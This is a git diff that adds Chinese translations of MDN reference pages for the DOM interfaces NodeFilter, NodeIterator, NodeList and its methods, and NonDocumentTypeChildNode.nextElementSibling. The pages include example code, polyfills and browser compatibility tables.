diff --git a/files/zh-cn/web/api/nodefilter/index.html b/files/zh-cn/web/api/nodefilter/index.html new file mode 100644 index 0000000000..41856b7fa8 --- /dev/null +++ b/files/zh-cn/web/api/nodefilter/index.html @@ -0,0 +1,114 @@ +--- +title: NodeFilter +slug: Web/API/NodeFilter +tags: + - API + - DOM + - DOM Reference + - NeedsTranslation +translation_of: Web/API/NodeFilter +--- +
{{APIRef("DOM")}}
+ +

NodeFilter 接口表示一个对象,此对象用于过滤 {{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 中的节点。它既不能处理 DOM,也不能遍历节点;它只能根据提供的过滤器对单个节点进行判定。

+ +
+

注意:浏览器不提供任何实现该接口的对象。用户需要自己编写该对象,根据需要自行定制 acceptNode() 方法,以用于{{domxref("TreeWalker")}} 或 {{domxref("NodeIterator")}} 对象。

+
+ +

属性

+ +

此接口没有实现或继承任何属性。

+ +

方法

+ +

此接口不继承任何方法。

+ +
+
{{domxref("NodeFilter.acceptNode()")}}
+
返回一个 unsigned short,用于表示提供的{{domxref("Node")}} 是否需要被{{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 迭代算法所接受。这个方法应由使用 NodeFilter 的用户编写。可能的值如下: + + + + + + + + + + + + + + + + + + + +
常量描述
FILTER_ACCEPT当需要接受一个节点时,{{ domxref("NodeFilter.acceptNode()") }}返回该值。
FILTER_REJECT当需要拒绝一个节点时,{{ domxref("NodeFilter.acceptNode()") }}返回该值。对于 {{ domxref("TreeWalker") }},这个节点的子节点也会被拒绝。对于 {{ domxref("NodeIterator") }},这个常量的表现与FILTER_SKIP一样。
FILTER_SKIP当{{ domxref("NodeIterator") }} 或 {{ domxref("TreeWalker") }} 对象需要跳过一个节点时,{{ domxref("NodeFilter.acceptNode()") }}返回该值。但被跳过节点的子节点仍会被考虑,意即“跳过该节点但不包括其子节点”。
+
+
+ +

示例

+ +
var nodeIterator = document.createNodeIterator(
+  // 用作根节点的节点
+  document.getElementById('someId'),
+
+  // 只筛选文本节点(即节点类型3)
+  NodeFilter.SHOW_TEXT,
+
+  // 用作 NodeFilter 的对象,其中包含 acceptNode 方法
+    { acceptNode: function(node) {
+      // 接受、拒绝或跳过的逻辑
+      // 下述例子只接受除了空格以外的内容
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// 显示根节点下每个非空的文本节点
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+  alert(node.data);
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}{{Spec2('DOM WHATWG')}}
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.NodeFilter")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/nodeiterator/index.html b/files/zh-cn/web/api/nodeiterator/index.html new file mode 100644 index 0000000000..2b2795b6a0 --- /dev/null +++ b/files/zh-cn/web/api/nodeiterator/index.html @@ -0,0 +1,214 @@ +--- +title: NodeIterator +slug: Web/API/NodeIterator +tags: + - API + - DOM +translation_of: Web/API/NodeIterator +--- +
{{APIRef("DOM")}}
+ +

NodeIterator 接口表示一个遍历 DOM 子树中节点列表的成员的迭代器。节点将按照文档顺序返回。

+ +

NodeIterator可以使用{{domxref("Document.createNodeIterator()")}} 方法创建,如下所示:

+ +
var nodeIterator = document.createNodeIterator(root, whatToShow, filter);
+ +

属性

+ +

这个接口不继承任何属性。

+ +
+
{{domxref("NodeIterator.root")}} {{readonlyInline}}
+
返回一个{{domxref("Node")}} ,它代表创建 NodeIterator 时指定的根节点。
+
{{domxref("NodeIterator.whatToShow")}} {{readonlyInline}}
+
返回一个无符号长整型,它是一个由描述必须呈现的{{domxref("Node")}}类型的常量构成的位掩码。不匹配的节点被跳过,但是如果相关,他们的子节点可能被包括在内。可能的值是: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantNumerical valueDescription
NodeFilter.SHOW_ALL-1 (that is the max value of unsigned long)显示所有节点。
NodeFilter.SHOW_ATTRIBUTE {{obsolete_inline}}2显示属性 {{ domxref("Attr") }} 节点. 只有当用一个 {{ domxref("Attr") }} 节点作为根节点来创建 {{ domxref("NodeIterator") }} 时才有意义; 在这种情况下, 这意味着属性节点会出现在迭代或遍历的首位. 因为属性永远不会是其它节点的子节点, 当遍历整个文档树时它们不会出现.
NodeFilter.SHOW_CDATA_SECTION {{obsolete_inline}}8显示{{ domxref("CDATASection") }} 节点。
NodeFilter.SHOW_COMMENT128显示{{ domxref("Comment") }} 节点。
NodeFilter.SHOW_DOCUMENT256显示{{ domxref("Document") }} 节点。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024 +

显示{{ domxref("DocumentFragment") }}节点。

+
NodeFilter.SHOW_DOCUMENT_TYPE512显示{{ domxref("DocumentType") }} 节点。
NodeFilter.SHOW_ELEMENT1显示{{ domxref("Element") }} 节点。
NodeFilter.SHOW_ENTITY {{obsolete_inline}}32显示 {{ domxref("Entity") }} 节点. 只有当用一个 {{ domxref("Entity") }} 节点作为它的根节点来创建一个 {{ domxref("NodeIterator") }} 时才有意义; 在这种情况下,  {{ domxref("Entity") }} 节点会出现在迭代或遍历的首位. 因为 {{ domxref("Entity") }}  永远不会是其它节点的子节点, 当遍历整个文档树时它们不会出现.
NodeFilter.SHOW_ENTITY_REFERENCE {{obsolete_inline}}16显示{{ domxref("EntityReference") }} 节点。
NodeFilter.SHOW_NOTATION {{obsolete_inline}}2048显示 {{ domxref("Notation") }} 节点. 只有当用一个 {{ domxref("Notation") }} 节点作为它的根节点时来创建一个 {{ domxref("NodeIterator") }} 才有意义; 在这种情况下,  {{ domxref("Notation") }} 节点会出现在迭代或遍历的首位. 因为 {{ domxref("Notation") }}  永远不会是其它节点的子节点, 当遍历整个文档树时它们不会出现.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64显示{{ domxref("ProcessingInstruction") }} 节点。
NodeFilter.SHOW_TEXT4显示{{ domxref("Text") }} 节点。
+
+
{{domxref("NodeIterator.filter")}} {{readonlyInline}}
+
返回一个用来选择相关节点的 {{domxref("NodeFilter")}} .
+
{{domxref("NodeIterator.expandEntityReferences")}} {{readonlyInline}} {{deprecated_inline}}
+
Is a {{domxref("Boolean")}} indicating if, when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.
+
{{domxref("NodeIterator.referenceNode")}} {{readonlyInline}} {{experimental_inline() }}
+
返回当前遍历到的 {{domxref("Node")}} .
+
{{domxref("NodeIterator.pointerBeforeReferenceNode")}} {{readonlyInline}} {{ experimental_inline() }}
+
Returns a {{domxref("Boolean")}} flag that indicates whether the {{domxref("NodeIterator")}} is anchored before, the flag being true, or after, the flag being false, the anchor node.
+
+ +

方法

+ +

这个接口不会继承任何属性。

+ +
+
{{domxref("NodeIterator.detach()")}} {{obsolete_inline()}}
+
这个方法不是必需的. 它现在什么也不做. 之前用来告诉引擎,NodeIterator 已经不会再使用,现在已经不做任何事情.
+
{{domxref("NodeIterator.previousNode()")}}
+
返回前一个 {{domxref("Node")}} ,如果不存在则返回 null.
+
{{domxref("NodeIterator.nextNode()")}}
+
返回下一个 {{domxref("Node")}} , 如果不存在则返回null .
+
+ +

特性

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#nodeiterator', 'NodeIterator')}}{{Spec2('DOM WHATWG')}}Added the referenceNode and pointerBeforeReferenceNode properties.
+ Removed the expandEntityReferences property.
+ The method detach() has been changed to be a no-op.
+ The methods previousNode() and nextNode() don't raise an exception any more.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Iterator-overview', 'NodeIterator')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}9.09.03.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}9.03.0
+
+ +

扩展阅读

+ + + +

+ +

diff --git a/files/zh-cn/web/api/nodelist/entries/index.html b/files/zh-cn/web/api/nodelist/entries/index.html new file mode 100644 index 0000000000..9c9605c2f9 --- /dev/null +++ b/files/zh-cn/web/api/nodelist/entries/index.html @@ -0,0 +1,122 @@ +--- +title: NodeList.entries() +slug: Web/API/NodeList/entries +translation_of: Web/API/NodeList/entries +--- +
{{APIRef("DOM")}}
+ +

该方法返回一个迭代协议,允许遍历此对象中包含的所有键/值。该值也是一个{{domxref("Node")}} 对象。

+ +

语法

+ +
list.entries();
+ +

返回值

+ +

返回一个 {{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// 使用 for..of 循环
+for(var entry of list.entries()) {
+  console.log(entry);
+}
+
+ +

结果如下:

+ +
Array [ 0, <p> ]
+Array [ 1, #text "hey" ]
+Array [ 2, <span> ]
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(50)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Andorid
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/nodelist/foreach/index.html b/files/zh-cn/web/api/nodelist/foreach/index.html new file mode 100644 index 0000000000..29f2c575a7 --- /dev/null +++ b/files/zh-cn/web/api/nodelist/foreach/index.html @@ -0,0 +1,120 @@ +--- +title: NodeList.prototype.forEach() +slug: Web/API/NodeList/forEach +translation_of: Web/API/NodeList/forEach +--- +

{{APIRef("DOM")}}

+ +

{{domxref("NodeList")}}接口的 forEach() 方法按插入顺序为列表中的每个值对调用一次参数中给定的回调。

+ +

语法

+ +
someNodeList.forEach(callback[, thisArg]);
+
+ +

参数

+ +
+
callback
+
+

为 someNodeList的每一个元素执行函数。它接受以下三个参数:

+ +
+
currentValue
+
someNodeList中的当前元素。
+
currentIndex {{Optional_inline}}
+
someNodeList中的currentValue所对应的索引值。
+
listObj {{Optional_inline}}
+
someNodeList 在 forEach() 方法中所属的NodeList对象。
+
+
+
thisArg {{Optional_inline}}
+
传递 callback 的值一般用{{jsxref("this")}}值。
+
+ +

返回值

+ +

{{jsxref('undefined')}}.

+ +

Exceptions

+ +

None.

+ +

示例

+ +
let node = document.createElement("div");
+let kid1 = document.createElement("p");
+let kid2 = document.createTextNode("hey");
+let kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+let list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);
+ +

上述代码会产生以下结果:

+ +
[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg
+ +

Polyfill

+ +

{{Glossary("Polyfill","polyfill")}} 增加了对所有支持ES5的浏览器的兼容性:

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i < this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}
+ +

或者

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+   NodeList.prototype.forEach = Array.prototype.forEach;
+}
+ +

上面的代码是大部分浏览器实现的 NodeList.prototype.forEach() (例如Chrome).

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebIDL", "#es-forEach", "forEach")}}{{Spec2("WebIDL")}}Defines forEach on iterable declarations
+ +

Browser Compatibility

+ + + +

{{Compat("api.NodeList.forEach")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/nodelist/index.html b/files/zh-cn/web/api/nodelist/index.html new file mode 100644 index 0000000000..50e0269c26 --- /dev/null +++ b/files/zh-cn/web/api/nodelist/index.html @@ -0,0 +1,182 @@ +--- +title: NodeList +slug: Web/API/NodeList +tags: + - API + - DOM + - NodeList + - 接口 +translation_of: Web/API/NodeList +--- +
{{APIRef("DOM")}}
+ +

NodeList 对象是节点的集合,通常是由属性,如{{domxref("Node.childNodes")}} 和 方法,如{{domxref("document.querySelectorAll")}} 返回的。

+ +
+

NodeList 不是一个数组,是一个类似数组的对象(Like Array Object)。虽然 NodeList 不是一个数组,但是可以使用 forEach() 来迭代。你还可以使用 {{jsxref("Array.from()")}} 将其转换为数组。

+ +

不过,有些浏览器较为过时,没有实现 NodeList.forEach() 和 Array.from()。你可以用 {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} 来规避这一问题。请查看该例

+
+ +

在一些情况下,NodeList 是一个实时集合,也就是说,如果文档中的节点树发生变化,NodeList 也会随之变化。例如,{{domxref("Node.childNodes")}} 是实时的:

+ +
var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // 我们假设结果会是“2”
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // 但此时的输出是“3”
+ +

在其他情况下,NodeList 是一个静态集合,也就意味着随后对文档对象模型的任何改动都不会影响集合的内容。比如  {{domxref("document.querySelectorAll")}} 就会返回一个静态 NodeList

+ +

最好牢记这种不同,尤其是在当你选择 NodeList 中所有项遍历的方式,或缓存它的长度的时候。

+ +

属性

+ +
+
{{domxref("NodeList.length")}}
+
NodeList 中包含的节点个数。
+
+ +

方法

+ +
+
{{domxref("NodeList.item()")}}
+
+ +
+
返回 NodeList 对象中指定索引的节点,如果索引越界,则返回null。等价的写法是 nodeList[i],不过,在这种情况下,越界访问将返回 undefined
+
{{domxref("NodeList.entries()")}}
+
Returns an {{jsxref("Iteration_protocols","iterator")}}, allowing code to go through all key/value pairs contained in the collection. (In this case, the keys are numbers starting from 0 and the values are nodes.)
+
{{domxref("NodeList.forEach()")}}
+
Executes a provided function once per NodeList element, passing the element as an argument to the function.
+
{{domxref("NodeList.keys()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}}, allowing code to go through all the keys of the key/value pairs contained in the collection. (In this case, the keys are numbers starting from 0.)
+
{{domxref("NodeList.values()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing code to go through all values (nodes) of the key/value pairs contained in the collection.
+
+ +

例子

+ +

可以使用 for 循环遍历一个 NodeList 对象中的所有的节点:

+ +
for (var i = 0; i < myNodeList.length; ++i) {
+  var item = myNodeList[i];  // 调用 myNodeList.item(i) 是没有必要的
+}
+
+ +

不要尝试使用 for...in 或者 for each...in 来遍历一个 NodeList 对象中的元素,因为,如果你把上述两个属性也看成 {{domxref("element")}} 对象的话,NodeList 对象中的 lengthitem 属性也会被遍历出来,这可能会导致你的脚本运行出错。此外,for...in 不能保证访问这些属性的顺序。

+ +

for...of 循环将会正确的遍历 NodeList 对象:

+ +
var list = document.querySelectorAll('input[type=checkbox]');
+for (var checkbox of list) {
+  checkbox.checked = true;
+}
+ +

最近,浏览器也支持一些遍历方法,比如 {{domxref("NodeList.forEach()", "forEach()")}} 与 {{domxref("NodeList.entries()", "entries()")}}、{{domxref("NodeList.values()", "values()")}}、和 {{domxref("NodeList.keys()", "keys()")}}。

+ +

也有一种使用数组 Array 的 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 来遍历 NodeList 的方法,这种方法兼容 Internet Explorer {{obsolete_inline}}:

+ +
var list = document.querySelectorAll('input[type=checkbox]');
+Array.prototype.forEach.call(list, function (checkbox) {
+  checkbox.checked = true;
+});
+ +

英文原版中已删除的内容

+ +
+

译者注:也许它已独立成了一篇单独的技术文章。如果有找到这样的文章,请将其链接添加至本页末的“参见”处,并删除本节内容。如果没有“参见”,请添加它为二级标题(<h2>),<h2>id 属性为“See_also”或“参见”。

+
+ +

为什么 NodeList 不是数组?

+ +

NodeList 对象在某些方面和数组非常相似,看上去可以直接使用从 Array.prototype 上继承的方法。然而,除了 forEach 方法,NodeList 没有这些类似数组的方法。

+ +

JavaScript 的继承机制是基于原型的。数组元素之所以有一些数组方法(比如 forEachmap),是因为它的原型链上有这些方法,如下:

+ +

myArray --> Array.prototype --> Object.prototype --> null(想要获取一个对象的原型链,可以连续地调用 Object.getPrototypeOf,直到原型链尽头)。

+ +

forEachmap 这些方式其实是 Array.prototype 这个对象的方法。

+ +

和数组不一样的是,NodeList 的原型链是这样的:

+ +

myNodeList --> NodeList.prototype --> Object.prototype --> null

+ +

NodeList的原型上除了类似数组的 forEach 方法之外,还有 itementrieskeysvalues 方法。

+ +

解决办法

+ +

一个解决办法就是把 Array.prototype 上的方法添加到 NodeList.prototype 上。可是,要注意扩展DOM对象的原型是非常危险的,尤其是在旧版本的Internet Explorer(6,7,8)中。

+ +
var arrayMethods = Object.getOwnPropertyNames( Array.prototype );
+
+arrayMethods.forEach( attachArrayMethodsToNodeList );
+
+function attachArrayMethodsToNodeList(methodName)
+{
+  if(methodName !== "length") {
+    NodeList.prototype[methodName] = Array.prototype[methodName];
+  }
+};
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+firstDiv.childNodes.forEach(function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+ +

不扩展 DOM 对象原型的解决办法:

+ +
var forEach = Array.prototype.forEach;
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+forEach.call(firstDiv.childNodes, function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+ +
+

请注意,在上面的代码中,将某个宿主对象 (如 NodeList) 作为 this 传递给原生方法 (如 forEach) 不能保证在所有浏览器中工作,已知在一些浏览器中会失败。

+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM3 Core') }}
{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM2 Core') }}
{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM1') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.NodeList")}}

diff --git a/files/zh-cn/web/api/nodelist/item/index.html b/files/zh-cn/web/api/nodelist/item/index.html new file mode 100644 index 0000000000..f24b67bef8 --- /dev/null +++ b/files/zh-cn/web/api/nodelist/item/index.html @@ -0,0 +1,30 @@ +--- +title: NodeList.item +slug: Web/API/NodeList/item +translation_of: Web/API/NodeList/item +--- +

{{ ApiRef() }}

+

概述

+

根据给定的索引,返回一个 NodeList对象中包含的Node对象.

+

语法

+
nodeItem = nodeList.item(index)
+
+ +

JavaScript有更简单的语法来从一个NodeList对象中获取指定索引的节点:

+
nodeItem = nodeList[index]
+
+

例子

+
var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // 或者简写为tables[1],返回一个文档中的第二个table元素.
+
+

备注

+

如果索引越界,该方法不会抛出异常,只会返回null.

+

item()不是DOM元素或者DOM节点的方法,而是NodeList对象的方法.

+

规范

+

DOM Level 1 Core: NodeList.item()

+

DOM Level 2 Core: NodeList.item()

+

{{ languages( {"en": "en/DOM/NodeList.item" } ) }}

diff --git a/files/zh-cn/web/api/nodelist/keys/index.html b/files/zh-cn/web/api/nodelist/keys/index.html new file mode 100644 index 0000000000..ac08a2ba2d --- /dev/null +++ b/files/zh-cn/web/api/nodelist/keys/index.html @@ -0,0 +1,60 @@ +--- +title: NodeList.keys() +slug: Web/API/NodeList/keys +tags: + - DOM + - Iterator + - Method + - NodeList + - Reference + - Web +translation_of: Web/API/NodeList/keys +--- +

{{APIRef("DOM")}}

+ +

NodeList.keys() 方法返回 {{jsxref("Iteration_protocols",'iterator')}} ,此方法允许遍历这个对象中包含的所有的键,即使这个键是 unsigned integer(无符号整数).

+ +

语法

+ +
nodeList.keys();
+ +

返回值

+ +

返回 {{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var key of list.keys()) {
+   console.log(key);
+}
+
+ +

结果是:

+ +
0
+1
+2
+
+ +

浏览器兼容

+ +

{{Compat("api.NodeList.keys")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/nodelist/length/index.html b/files/zh-cn/web/api/nodelist/length/index.html new file mode 100644 index 0000000000..468c9226fb --- /dev/null +++ b/files/zh-cn/web/api/nodelist/length/index.html @@ -0,0 +1,45 @@ +--- +title: NodeList.length +slug: Web/API/NodeList/length +tags: + - 属性 +translation_of: Web/API/NodeList/length +--- +
{{APIRef("DOM")}}
+ +

摘要

+ +

返回 NodeList 集合中子节点数量

+ +

语法

+ +
numItems =nodeList.length
+
+ + + +

例子

+ +
// 获取文档中的所有 p 标签
+var items = document.getElementsByTagName("p");
+
+// 循环 items 然后输出每个 p 标签 html
+var gross = "";
+for (var i = 0; i < items.length; i++) {
+  gross += items[i].innerHTML;
+}
+
+// gross 现在集合了所有 p 标签的 HTML 内容。
+
+ +

注意

+ +

length 不是 元素(Element)的属性,而是 NodeList 的属性。NodeList 是使用 DOM 操作方法返回的对象,比如使用 document.getElementsByTagName 就会返回一个 NodeList 对象。

+ +

length 是在 DOM 操作中非常常见的属性。最常见的是用 length 属性来判断某些节点是否存在,或者如上述一样,用在 for 循环上。

+ +

规范

+ +

length

diff --git a/files/zh-cn/web/api/nodelist/values/index.html b/files/zh-cn/web/api/nodelist/values/index.html new file mode 100644 index 0000000000..36fb078e94 --- /dev/null +++ b/files/zh-cn/web/api/nodelist/values/index.html @@ -0,0 +1,53 @@ +--- +title: NodeList.values() +slug: Web/API/NodeList/values +translation_of: Web/API/NodeList/values +--- +

该方法返回一个iterator迭代器,可以利用迭代器遍历所有value。

+ +

Syntax

+ +
nodeList.values();
+ +

Return value

+ +

Returns an {{jsxref("Iteration_protocols","iterator")}}.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var value of list.values()) {
+  console.log(value);
+}
+
+ +

The result is:

+ +
<p>
+#text "hey"
+<span>
+
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.values")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/nondocumenttypechildnode/index.html b/files/zh-cn/web/api/nondocumenttypechildnode/index.html new file mode 100644 index 0000000000..bdaccbe5fd --- /dev/null +++ b/files/zh-cn/web/api/nondocumenttypechildnode/index.html @@ -0,0 +1,69 @@ +--- +title: NonDocumentTypeChildNode +slug: Web/API/NonDocumentTypeChildNode +tags: + - API + - DOM + - NonDocumentTypeChildNode + - 参考 + - 接口 +translation_of: Web/API/NonDocumentTypeChildNode +--- +
{{APIRef("DOM")}}
+ +

NonDocumentTypeChildNode 接口包含专属于某些(特殊) {{domxref("Node")}} 对象的方法,这些对象可以拥有父对象,但不适用于 {{domxref("DocumentType")}} 接口。

+ +

NonDocumentTypeChildNode 是一个裸接口(raw interface),无法创建拥有此类型的对象;它是由 {{domxref("Element")}},和 {{domxref("CharacterData")}} 对象实现的。

+ +

属性

+ +

此接口没有继承属性。

+ +
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or null if there is no {{domxref("Element")}} in the list prior to this node.
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or null if there is no {{domxref("Element")}} in the list following this node.
+
+ +

方法

+ +

此接口既没有继承方法,又没有专有方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and NonDocumentTypeChildNode. The previousElementSibling and nextElementSibling are now defined on the latter.
+ The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.NonDocumentTypeChildNode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/nondocumenttypechildnode/nextelementsibling/index.html b/files/zh-cn/web/api/nondocumenttypechildnode/nextelementsibling/index.html new file mode 100644 index 0000000000..a39fd29558 --- /dev/null +++ b/files/zh-cn/web/api/nondocumenttypechildnode/nextelementsibling/index.html @@ -0,0 +1,167 @@ +--- +title: NonDocumentTypeChildNode.nextElementSibling +slug: Web/API/NonDocumentTypeChildNode/nextElementSibling +translation_of: Web/API/NonDocumentTypeChildNode/nextElementSibling +--- +

{{ gecko_minversion_header("1.9.1") }}

+ +

{{ ApiRef() }}

+ +

概述

+ +

nextElementSibling 返回当前元素在其父元素的子元素节点中的后一个元素节点,如果该元素已经是最后一个元素节点,则返回null,该属性是只读的.

+ +

语法

+ +
var nextNode = elementNodeReference.nextElementSibling;
+
+ +

例子

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+
+<script type="text/javascript">
+  var el = document.getElementById('div-01').nextElementSibling;
+  document.write('<p>Siblings of div-01</p><ol>');
+  while (el) {
+    document.write('<li>' + el.nodeName + '</li>');
+    el = el.nextElementSibling;
+  }
+  document.write('</ol>');
+</script>
+
+ +

上面的例子会输出以下内容:

+ +
Siblings of div-01
+
+   1. DIV
+   2. SCRIPT
+   3. P
+   4. OL
+ +

 

+ +

Internet Explorer 8 支持补丁

+ +

该属性不支持IE9之前的版本, 下面的代码片段可以增进对IE8的支持:

+ +
// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("nextElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "nextElementSibling", {
+        get: function(){
+            var e = this.nextSibling;
+            while(e && 1 !== e.nodeType)
+                e = e.nextSibling;
+            return e;
+        }
+    });
+}
+
+ +

Internet Explorer 9+ 和 Safari支持补丁

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/nextElementSibling/nextElementSibling.md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('nextElementSibling')) {
+      return;
+    }
+    Object.defineProperty(item, 'nextElementSibling', {
+      configurable: true,
+      enumerable: true,
+      get: function () {
+        var el = this;
+        while (el = el.nextSibling) {
+          if (el.nodeType === 1) {
+              return el;
+          }
+        }
+        return null;
+      },
+      set: undefined
+    });
+  });
+})([Element.prototype, CharacterData.prototype]);
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (on {{domxref("Element")}})4{{CompatGeckoDesktop("1.9.1")}}99.84
Support on {{domxref("CharacterData")}}29.0{{CompatGeckoDesktop("25")}} [1]{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}9.8{{CompatVersionUnknown}}
Support on {{domxref("CharacterData")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

 

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/element.nextElementSibling" } ) }}

